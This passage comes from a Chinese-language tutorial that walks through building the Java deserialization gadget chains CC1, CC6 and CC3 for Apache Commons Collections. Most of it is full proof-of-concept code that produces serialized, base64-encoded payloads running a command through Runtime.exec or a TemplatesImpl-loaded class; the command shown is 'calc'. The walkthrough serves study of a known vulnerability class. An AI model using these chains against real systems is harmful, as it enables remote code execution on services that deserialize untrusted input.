这里去执行calc exec.invoke(runtime1,"calc"); } }
接下来,我们将我们这种形式用到transformer上面
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // 下面我们将我们写的套用到transform上面,仔细理解一下,其实这里的transform其实就像我们自己写的反射,但是他给我们进行了封装操作,因此我们只用传入参数就好 // 这里其实要多加一步,我们先要通过反射获取getRuntime 也就是这一行Method getRuntime = runtimeClass.getMethod("getRuntime",null); Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); // 这一行Runtime runtime1 = (Runtime) getRuntime.invoke(null, null); Runtime runtime2 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); // 这一行Method exec1 = runtimeClass.getMethod("exec", String.class); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime2); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
对比版
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class urldnsre { public static void main(String[] args) throws Exception{ // Runtime.getRuntime().exec("calc"); Class runtimeClass = Runtime.class.getClass(); // 获取一个class对象 用于获取class中的getMethod方法 Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class ); // 这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime() Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null); Method getRuntimetr = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); // 这里是获取method类的invoke方法 Class<? extends Method> aClass1 = getRuntimeMethod.getClass(); Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class); // invoke方法去获取runtime对象也就是Runtime.getRuntime() Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null); Runtime runtimetr = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimetr); // 获取runttime的exec方法 Class<? extends Runtime> aClass2 = runtime1.getClass(); Method exec = aClass2.getMethod("exec", String.class); // 这里去执行calc exec.invoke(runtime1,"calc"); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtimetr); } }
这里我们可以发现,这里其实就是循环调用的,也就是前一个的输出是后一个的输入,接着我们找到了ChinedTransformer.java,可以看到对传入的一个Transformer数组进行了循环调用
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // 这里我们就找到了ChainedTransformer // 将我们的Transformer放进去 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 先在构造方法中传入数组 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 调用transform传入一个Runtime.class 这里需要稍微注意一下 因为传入的Runtime.class其实就像一个引水 由它来进行链式调用的开始 chainedTransformer.transform(Runtime.class); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里也是写完了,但是在进行序列化和反序列化的时候并不会执行
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // 这里我们就找到了ChainedTransformer // 将我们的Transformer放进去 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 先在构造方法中传入数组 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 调用transform传入一个Runtime.class // 到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了 // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value"); // chainedTransformer 注意这里进行更改 Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
加个断点我们来查看一下是不是if语句的问题
可以看到这里的memberTypes是null也就是进不去if语句.
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
这一句话的意思大概就是去拿注解里面的方法名,返回的是一个hashmap
接下来通过我们传入的objectObjectHashMap中的key去寻找对应的hashmap有没有这个key名称的方法
这里我们先看看正确的
现在已经可用进入if语句了但是又出现了一个问题
注意这个对象
其实这两句是一样的了
chainedTransformer.transform(Runtime.class);
valueTransformer.transform(value);
其实现在你有可能不理解但是你可以跟下去调试一下,也就是到了这一步里面去了,现在我们已经可以调用transform().
但是由于这个value值在前面已经固定了(就是这个对象AnnotationTypeMismatchExceptionProxy),所以我们还需要去将它更改成Rntime.class
我们由找到了这里的ConstanTransformer,由于构造的时候传入的值通过调用transform会原样返回回来,所以我们就可以将这个值改成Runtime.class
也就是说我们,这里通过chainedTransformer.Transformer 去调用 ConstantTransformer.Transformer 这里返回了一个Runtime.class,也正是下面的开始,所以才正式开始利用
最终代码
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // 这里我们就找到了ChainedTransformer // 将我们的Transformer放进去 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 先在构造方法中传入数组 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 调用transform传入一个Runtime.class // 到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了 // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value"); // chainedTransformer 注意这里进行更改 Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里也是可以看到我们由于调用的ConstantTransformer()的Transformer()所以返回回来的值有了改变
流程图
base64版
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class urldnsre { public static void main(String[] args) throws Exception{ Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value"); Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorate); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
先看看它咋调用的
可以看到LazyMap后面的都是一样的
这里的get调用了transform()
可见这里的invoke调用了get方法,并且这里的memberValue可以控制,而且invoke在动态代理的时候,无论外面调用什么方法都会执行invoke方法.
这里原链是通过的AnnotationInvocationHandler.java 的readObject方法作为初始点,通过将memberValues赋值为AnnotationInvocationHandler的动态代理对象(LazyMapProxy)去调用entrySet(),既然memberValues是一个代理对象(LazyMapProxy),那么如果不管调用LazyMap的什么方法都会执行AnnotationInvocationHandler的invoke方法(理解了吗?)
public class ProxyHandler implements InvocationHandler{ private Object object; public ProxyHandler(Object object){ this.object = object; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("Before invoke " + method.getName()); method.invoke(object, args); System.out.println("After invoke " + method.getName()); return null; } } public static void main(String[] args) { System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); HelloInterface hello = new Hello(); InvocationHandler handler = new ProxyHandler(hello); HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler); proxyHello.sayHello(); }
对比一下
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
public Object invoke(Object proxy, Method method, Object[] args) {
}
}
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = declaredConstructor.newInstance(Override.class, mapProxy);
其实这个AnnotationInvocationHandler类就很像我们自己写的ProxyHandler.
这里为啥要用这个entrySet()
这里可以看到不能调用member的equals方法,不然就直接return了,还有就是paramTypes.length不能等于零,不然就抛出异常了
真的搞不懂为什么可以执行反序列化,但是invoke打断点就是进不去 最后将这两个选项去掉才可以
最终代码
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC6Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 上面都是一样的 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); // 这里我们调用流程还是差不都的 Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer); // Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); // 这里我们要使用下面这个AnnotationInvocationHandler 原因就是我们需要动态代理 InvocationHandler invocationHandler = (InvocationHandler) aihClassDeclaredConstructor.newInstance(Override.class, decorate); // 这里的new Class[]{Map.class} 代表我们要代理map invocationHandler Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); // 以上是反序列化前的准备 // 这一步是反序列化的入口 Object o = aihClassDeclaredConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
我们再次捋一下
AnnotationInvocationHandler的readObject() 执行了 AnnotationInvocationHandler代理类的entrySet()方法,而当我们去执行代理类中的方法时会导致执行AnnotationInvocationHandler中的invoke方法
接着走到LazyMap的get去
又因为这里的map中不包含这个key
接着就会去执行ConstantTransformer()的transform()
这里可以看到TiedMapEntry调用了map.get()与上一条链的LazyMap.get相似
这里可以看到TiedMapEntry的hashCode调用了getValue
这里的getValue调用了map.get,而这里的map是我们可控的,那么我们可以将它赋值为LazyMap
也许你已经想到了哪里会有反序列化的入口
就是这里
只需要将key赋值成tiedMapEntry就可以了
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer); // 前面都一样 // 先创建一个tiedMapEntry来调用 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa"); // 这里创建一个HashMap来反序列化 HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); // 传入key是tiedMapEntry objectObjectHashMap1.put(tiedMapEntry,"bbb"); serialize(objectObjectHashMap1); // unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
根据urldns的经验可以发现在serilize就会执行了,我们需要去更改一下 而且这里并不能正常序列化
我们这里更改LazyMap,这里可以看到这个factory是一个transformer 所以我们可以给他赋值为一个ConstantTransformer
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); // 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap // 这里原来放的是chainedTransformer 我们给他放一个空的 Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb"); // 我们来改回factory Class<LazyMap> lazyMapClass = LazyMap.class; // 获取这个factory Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); // 这里我们在改回chainedTransformer factoryField.set(lazyMap,chainedTransformer); // serialize(objectObjectHashMap1); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里之后序列化不执行了,反序列化也不执行
调一下
下面是关键,由于我们在put之后这里的key就有值了.所以也就不会去执行transform(key),也就是在put之后我们需要将key删除
最终代码
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); // 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap // 这里原来放的是chainedTransformer 我们给他放一个空的 Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb"); // 这里将aaa删除 lazyMap.remove("aaa"); // 我们来改回factory Class<LazyMap> lazyMapClass = LazyMap.class; // 获取这个factory Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); // 这里我们在改回chainedTransformer factoryField.set(lazyMap,chainedTransformer); serialize(objectObjectHashMap1); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class urldnsre { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> o = new HashMap<>(); o.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
我们从ClassLoader中的defineClass开始寻找那个defineClass是公有的
找到了这个 这个是defalut接着找这个
这里找到一个私有的,我们接着去找那里变成公有了
这里变成了公有
所以我们已经可以知道从TemplatesImpl类我们就可以自己加载一个类了
先写一个恶意的Test.java
package org.example;
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
defineTransletClasses方法中的_auxClasses这里是空的如果执行else之后就会爆空指针方法
这里要执行if语句就需要superCLass.getName().等于常量
superClass.getName()根据字面意思也可以理解出来就是superClass.getName()获取父类的类名
所以我们自己自定义的恶意类需要继承继承一下这个常量
实现方法
我们使用InvokerTransformer去执行
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); // templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; // 先在构造方法中传入数组 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value"); // chainedTransformer 注意这里进行更改 Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
我们在来看看cc3这里还能怎么写
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里发现也可以执行按照TemplatesImpl类的逻辑应该是templates去调用newTransformer().而这里可以看到使用了TrAXFilter类的构造方法中的newTransformer()
接着我们又找到了InstantiateTransformer类的transform()方法,这里先通过getConstructor(iParamTypes)获取了TrAXFilter类的构造方法,接着又调用了newInstance()并传入了一个templates对象,也就是我们已经构造好的对象 接着来到input这里我们存放的是我们需要获取那个类的构造方法
简单理解一下InstantiateTransformer构造方法的两个参数,第一个参数是用于获取一个TrAXFilter构造方法的参数类 第二个则是构造方法的参数
